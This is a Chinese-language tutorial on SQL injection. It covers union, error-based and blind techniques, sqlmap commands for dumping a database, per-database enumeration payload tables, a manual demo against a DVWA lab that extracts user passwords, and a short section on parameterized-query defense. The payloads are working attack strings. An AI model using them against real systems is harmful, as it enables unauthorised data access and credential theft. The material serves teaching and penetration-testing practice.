SQL注入理解与防御
一、说明
sql注入可能是很多学习渗透测试的人接触的第一类漏洞,这很正常因为sql注入可能是web最经典的漏洞。但在很多教程中有的只讲‘或and 1=1、and 1=2有的可能会进一步讲union select、update等注入时真正用的攻击语句,但即便是后者更多的感觉像是跳到DBMS里去讲就是把数据库版本、数据库名、表名、列名这些都当作是已知的基于这个前提下去讲。而在实际攻击过程中版本、数据库名、表名、列名都是需要自己去探测的。这就导致了你听过无数的sql注入理论和高深的利用方法,到自己去测试时只会and 1=1或祭出sqlmap。
二、sql注入定义
sql注入就是闭合原先的sql语句并拼接上攻击者想要执行的sql语句。关键词是闭合和拼接。
2.1 注入举例
现有页面:http://example.com/app/accountView?id=1
对应后台sql语句为:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
当前具体生成sql语句为:String query = "SELECT * FROM accounts WHERE custID='1';
现攻击者将链接(id值)改为:http://example.com/app/accountView?id='or '1'='1
此时具体生成sql语句为:String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';
or前的分号就起“封闭原先的sql语句”作用,or '1'='1就是“拼接上”的“攻击者想要执行的sql语句”。
2.2 常见注入说明
仍使用上面的例子
注入形式 | 形成注入语句 | 攻击原理及效果 |
’(单引号) | String query = "SELECT * FROM accounts WHERE custID='‘' | custID等于三个单引号,这种形式sql解析器解析时会报错,如果前端页面也报错一是说明该参数会带入sql解析器二是说明sql语句没做过滤 |
’and ‘1’=‘1 'and '1'='2 |
String query = "SELECT * FROM accounts WHERE custID='‘and '1'='1' String query = "SELECT * FROM accounts WHERE custID='‘and '1'='2' |
这两条一起使用,由于’1‘=’1‘恒为真所以应该有结果’1‘=’2‘恒为假所以应该没有结果,总之就是如果这两者能导致页面显示有区别,那也可以说明该参数带入sql解析器且没做过滤。
|
'or '1'='1 | String query = "SELECT * FROM accounts WHERE custID=''or '1'='1'; | 'or '1'='1页面正常返回可能是注入成功了也可能是做了过滤所以这种形式一般不能做为是否存在注入的检测方法;'or '1'='1作用是取回表中所有结果,最常见的是用于绕过登录 |
当要注入的参数为整型时使用and1=1/and 1=2/or 1=1的形式,当要注入的参数为字符串类型时需要平衡单引号所以等用上表中带单引号的形式;在具体渗透时我们不知道是整型还是字符串类型只能靠正常访问时赋给变量的值来做推测,一般来讲主要是以字符串类型存诸即便是数字也经常存为字符串取出时再转为整型。
'or '1'='1我们上边说其“最常见的是用于绕过登录”。《Metasploit渗透测试魔鬼训练营》就使用了绕过登录的例了,但绕过登录现在并不那么好用除了登录是重点防护区域之外现在都很强调密码加密,password参数取回后先被md5(password)其中的单引号根本没有“闭合”“拼接”的机会。当然'or '1'='1“作用是取回表中所有结果”,所以其他地方还是有用武之地的。
另外还有'or 'a'='a这类形式,这是为了防上服务端专门针对'or '1'='1过滤而用的变种形式其本质还是一样的。
平衡右单引号也不是必须的,我们有时还可以看到‘or 1=1 --的形式,--是sql语句的注释符号使用--右边的单引号就被注释掉不起作用了所以不需要平衡。其实--在注入不是原sql最后一个词时有更大的用处,比如假设存在语句update user_table set password = 'default_password' where username = '" + request.getParameter("username") + "' and changeable = 'yes'其admin账号chageable为no那么注入admin'or '1'='1也是改不了admin账号的密码的,但注入admin' --就可以改。
2.3 sql注入位置
我们要明确以下三点:
参数被带入数据库时,被带入的CRUD的任何一处(即select、insert、update、delete)都是有可能的。
从理论上来讲,无论被被带入的是select、insert、update、delete我们都能注入任意的sql语句进行数据库操作。
想直接获取数据表内容那只能拼接select语句,insert、update、delete这三条语句也能在其后拼接select语句,但是由于这三条语句的服务器代码不会向前端返回数据的代码,所以如果参数被带入的是insert、update、delete拼接直接查询数据表内容的select语句是没有意义的(当然exists大于等于等符件性select还是有用,所以下方3.7.1获取数据表内容的方法还是可用的)。想直接获取数据表内容需要能注入的语句原本就是select语句(下方3.7.2 union select法)。
2.4 sql盲注
2.4.1 盲注与普通注入的区别
普通注入有两个特征:一是会将数据库的内容查询并回显到页面上(这是最主要的),二是会返回原始的数据库错误信息(这是次要的)。数据会回显到页面上,那么我们可以从返回的页内中提取我们的数据库名等数据。
回显内容(admin处):
返回原始数据库错误信息:
盲注对应的也有两个特征:一是不会将数据库内容回显到页面上(这是主要的),二是不会返回原始的数据库错误信息。
不会将数据库内容回显到页面上(只告诉你存不存在):
不会返回原始的数据库错误信息(返回的是自定义的错误信息):
2.4.2 盲注如何进行
盲注场景中内容不回显到页面上,我们就没法从页面提取内容,那我们该如何获取数据库内容呢。只有一种办法,那就是把我们的猜测构造成一个布尔表达式。
如果返回的内容和原来一样那该表达式的猜测就是对的,如果返回的内容和原来不一样那该表达式的猜测就是错的。比如"SELECT * FROM accounts WHERE custID='1' and (length(database()))=8 --
"如果返回内容和原来一样(此时即and 1)那说明数据库名称长度为8字节,如果不一样(此时即and 0)则不是8字节,继续猜。
但“和原来一样”这个说法可能有点问题,即我们需要监测原来是怎样的现在是怎样的然后比较,这有点麻烦。我们改造成“SELECT * FROM accounts WHERE custID='1' and if( (length(database()))=8 , sleep(3), 1) -- ”,如果查询出现了3秒延迟那说明数据库名长度为8字节,如果没出现延迟则不是8字节,继续猜。
比较和原来是否一样的形式即布尔型盲注,构造延时这种形式即时间型盲注。
三、sql注入攻击步骤
我们使用sqlmap或者更早以前的啊D、明小子,sql注入都是有一定步骤的,步骤也都是一样的;手工注入一样遵循这样的步骤只是将工具各步敲的注入代码改为手动敲就而已。
可通过三种办法探测sqlmap在各步中到底注入了哪些语句,第一种是阅读源代码这要要有较强的能力我试了一下并不能驾御。第二种是查看C:\Users\username\.sqlmap\ouput\hostname\log文件(该文件其实就是执行sqlmap整个过程的控制台输出)sqlmap每次发的数据包都会以”Type-Title-Payload“三元组记录。第三种是使用wireshark或带上--proxy="http://127.0.0.1:8080"参数使用burpsuite截取sqlmap发送的数据包(sqlmap在ouput目录下的文件有记住前面对链接的探测结果,即便其log文件中说本次探测发了这些payload其实也不一定真的发了,拦到的数据包和log感觉对不上时要明白这一点)。
下边各步注入代码整理自《大中型网络入侵要案直击与防御》没有逐条核实,简单对比了一下sqlmap探测的载荷在编码等方面有差别但意思是基本一致的,也就差不多了。
另外常会听说数据库提权,我们要明确系统账号可以是数据库账号但数据库账号不可能是系统账号,所谓数据库提权只是调用能执行系统命令的数据库扩展添加系统账号。
在确认是注入点之后,注入获取库名、表名、列名、字段内容,其考验的不再是什么渗透测试能力,而是对sql和当前数据库(比如oracle)的熟练程度。
这里使用dvwa作为演示环境,演示的是普通sql注入的注入过程,盲注需要另行将注入语句改造成类似“1' and if(select ascii(substring((select database()),1,1))=119,sleep(3),1) -- ”的形式。
3.1 使用sqlmap的攻击步骤
# 查看sqlmap帮助 python sqlmap.py -h # 查看sqlmap详细帮助 python sqlmap.py -hh # 以下各步,注意使用--data设置post内容,使用--cookie设置cookie,使用--referer设置referer,使用--proxy设置代理 # 以下各步,我以dvwa为例,但为了观察体验将有身份认证信息的--cookie删除了,自己用dvwa要注意带上--cookie # 以下各步,如果中途出现选择自己不懂选哪个,推荐直接按回车使用sqlmap默认值 # 第一步,确认目标参数。如果是get那么直接用-u接url即可,如是是post那么需要使用--data="username=admin&password=toor"形式 # 第二步,确认动态参数。 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 第三步,爆出数据库类型 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --banner # 第四步,爆出数据库名 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs # 第五步,猜解数据库表。使用-D指定要猜解数据表的数据库,假设为dvwa数据库 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa --tables # 第六步,猜解字段名。使用-D指定数据库,使用-T指定要猜解字段名的表,假设为dvwa数据库数据表为users python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --columns # 第七步,猜解字段值。使用-D指定数据库,使用-T指定表,使用-C指定要猜解其内容的列,假设为dvwa数据库数据表为users列为user_id和user python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users -C user_id,user --dump # 第八步,拖库。其实使用--dump时就已经将数据以csv格式保存到了C:\Users\username\.sqlmap\output\server_ip\dump\database_name目录下 # 第八步,拖库。我们可以使用--dump-format配置输出格式,使用 --output-dir重定向输出目录。 # 第八步,拖库。参数指定到什么范围就下载什么范围的数据,以下载dvwa库users表所有以SQLITE格式输出到当前目录为例(本质仍是server_ip\dump\database_name) python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump --dump-format=SQLITE --output-dir=.
3.2 手工注入的攻击步骤
第一步,确认目标参数
我们首先要确定要测试哪些参数。在以前参数还是比较容易确定的,比如前面说的http://example.com/app/accountView?id=1,问号后边的参数大多是动态参数。
但现在都讲restful,所以首先参数并不一定在问号后边,比如url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,所以目标要从url更多转移到post数据上。
第二步,确认动态参数
动态参数就是带入数据库的参数,很多参数是不带入数据库的而只有带入数据库的参数才有可能导致sql注入,所以我们需要确认哪些参数是动态参数。
没具体去分析sqlmap等工具是怎么确定一个参数是不是动态参数,我们可以使用前面说的单引号法和1=1/1=2法,如果参数有过滤不能注入那我们权当他不是动态参数也一样的。
第三步,爆出数据库类型
因为虽然数据库都兼容sql92但不同的数据库其具有的系统库表和扩展功能都是不一样的,这导致我们后续查询库名、表名、列名具体注入语句会随数据库的不同而有差异,所以首先要确认服务端使用的是什么数据库,是oracle还是mysql还是其他。
和检测操作系统等类似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,所以应该可以整理出更多的检测语句。
数据库 | 注入语句 | 原理 | 用处 |
access | and user>0 | user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错 | msqql和access报错不一样可区分数据库是mssql还是access |
mssql |
and (select count(*) from sysobjects) >= 0 and (select count(*) from msysobjects) >= 0 |
mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错 access不存在sysobjects存在msysobjects,上句会报错下句不会报错 |
可用于确认数据库是mssql还是access |
multi |
/* -- ; |
mysql支持的注释 mssql和oracle支持的注释 oracle不支持多行 |
报错说明不是mysql 不报错可能是mssql或oracle 报错极有可能是oracle |
mysql |
select @@version select database() |
@@version是mysql的内置变量 database()是mysql的内置函数 |
返回正常可能是mysql |
oracle |
and exists(select * from dual) and (select count(*) from user_tables)>0 -- |
dual和user_tables是oracle的系统表 |
如果返回正常则说明是oracle |
第四步,爆出数据库名
数据库 | 注入语句 | 说明 |
access | access一个数据库对应一个文件,获取文件名没有很大意义 | |
mssql |
and db_name() = 0 and db_name(n) > 0 |
从返回的报错信息中可获取当前数据库名 返回的报错信息中有第n个数据库的库名 |
mysql |
and 1=2 union select 1,database()/* and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1 select group_concat(schema_name) from information_schema.schemata |
爆出当前数据库名 n为几就返回第几个数据库的库名返回空就表示没有更多数据库了 返回所有数据库名 |
oracle |
and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5... from dual |
返回第一个库名 返回当前用户所拥有的下一库名 |
第五步,猜解数据库表名
数据库 | 注入语句 | 说明 |
access |
and exists(select * from table_name) and (select count(*) from table_name) >= 0 |
不断测试table_name 如果返回正常那说明该表存在 |
mssql |
and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 -- and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0-- and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) -- |
可爆出当前数据库表的数量 n为几就输出第几张表的表名 n为几就输出db_name库第几张表的表名 |
mysql |
and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1-- select group_concat(table_name) from information_schema.tables where table_schema=database() |
n为几就返回当前第几张表的表名 返回当前库的所有表名 |
oracle |
and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual |
返回第一个表名 返回下一个表名 返回包含pass的表名 |
第六步,猜解字段名
数据库 | 注入语句 | |
access |
and exists(select column_name from table_name) and (select count(column_name) from table_name) >=0 |
table_name使用上一步得到的表名,不断试column_name 如果返回正常则说明该字段存在 |
mssql |
having 1=1 -- group by 字段名1 having 1=1 -- group by 字段名1,字段名2 having 1=1 -- |
可获取表名和第一个字段名 可以得到第二个字段名 可以得到第三个字段名 |
mysql |
and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1-- select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name |
ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名 返回指定表名的所有字段 |
oracle |
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual |
返回第一个字段名 返回下一个字段名 |
第七步,猜解字段值
获取字段内容,各数据库的方法是比较通用的,当然也有一些自己特色的获取方法我这里就不管了
方法一:逐字节猜解法
首先猜解出字段长度,然后再逐字节猜解。
and (select top 1 len(column_name) from table_name > 1
and (select top 1 len(column_name) from table_name > 2
..
and (select top 1 len(column_name) from table_name > n-1
and (select top 1 len(column_name) from table_name > n
当n-1正常n错误时说明字段长度为n(二分法快一些)
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1
..
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n
n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n即可
方法二:union select法
上边的逐字节猜解法是相当费劲的,使用union select能更快捷地获取字段值。
由于union select要求两边的select返回的select字段数要一样,所以首先使用order by猜解前边select返回结果的字段数:
order by 1
order by 2
...
order by n-1
order by n
n-1正常,n报错时说明原先select字段数为n
然后使用union select查出表中内容
and 1=2 union select 1,2...,n from table_name----and 1=2是为了使原本的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容
and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容
3.3 手工注入演示
环境使用phpStudy+DVWA,为了更形象地还原注入场景我们真接在页面演示,并会给出注入时真正执行的SQL语句。
第一步,确认目标参数。请求链接为http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,所以目标参数为id和Submit。
第二步,确认动态参数。Submit是按钮不是动态参数直接跳过;输入“1' and 1 = 1 -- ”时无报错且有结果,输入“1' and 1 = 2 -- ”时无报错无结果,所以判断id是可注入参数且为字符串类型。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 1 -- ';)
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 -- ';)
第三步,确认当前查询列数。注入载荷”1' order by n -- “,执行到n为3时报错(Unknown column '3' in 'order clause'),说明原先的查询语句是两列。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 -- ';)
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 -- ';)
第四步,确认哪些列会被回显到页面上。注入“1' and 1 = 2 union select 1,2 -- ”,可以看到第一列和第二列都会回显到页面上,且第一列是First name的值第二列是Surname的值。
第五步,爆出数据库类型。将第二列改为@@version,注入“1' and 1 = 2 union select 1,@@version -- ”,有返回结果且为5.5.53,所以判断数据库为mysql且版本为5.5.53。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 union select 1,@@version -- ';)
第六步,爆出数据库名。经上步我们已经知道是mysql所以可以确定地使用mysql的注入载荷。注入“1' and 1=2 union select 1,database() -- ”,可见当前数据库名为dvwa。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,database() -- ';)
第七步,猜解数据库表名。注入“1' and 1 = 2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ”,返回结果说明当前数据库中有guestbook和users两个表。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ';)
第八步,猜解字段名。注入"1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ",从返回结果可以看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等几列。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ';)
第九步,猜解字段值。以获取当前数据库,users表,first_name和password列为例。注入"1' and 1=2 union select first_name,password from users -- ",获取内容如下图。
(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select first_name,password from users -- ';)
四、SQL注入防御
构造的sql语句时使用参数化形式而不使用拼接方式能够可靠地避免sql注入;主流的数据库和语言都支持参数化形式,可参考维基百科“参数化查询”。
拼接加对输入进行单引号和sql关键字过滤的方法也能在一定程度上防护sql注入,但是由于数据库的具有注释符/连接符、支持十六进制写法、具有char()等编码函数可以使sql语句变换成多种多样的形式,所以这种方法并不可靠。
参考:
https://www.acunetix.com/websitesecurity/blind-sql-injection/
德丸浩-《Web应用安全权威指南》
肖遥-《大中型网络入侵要案直击与防御》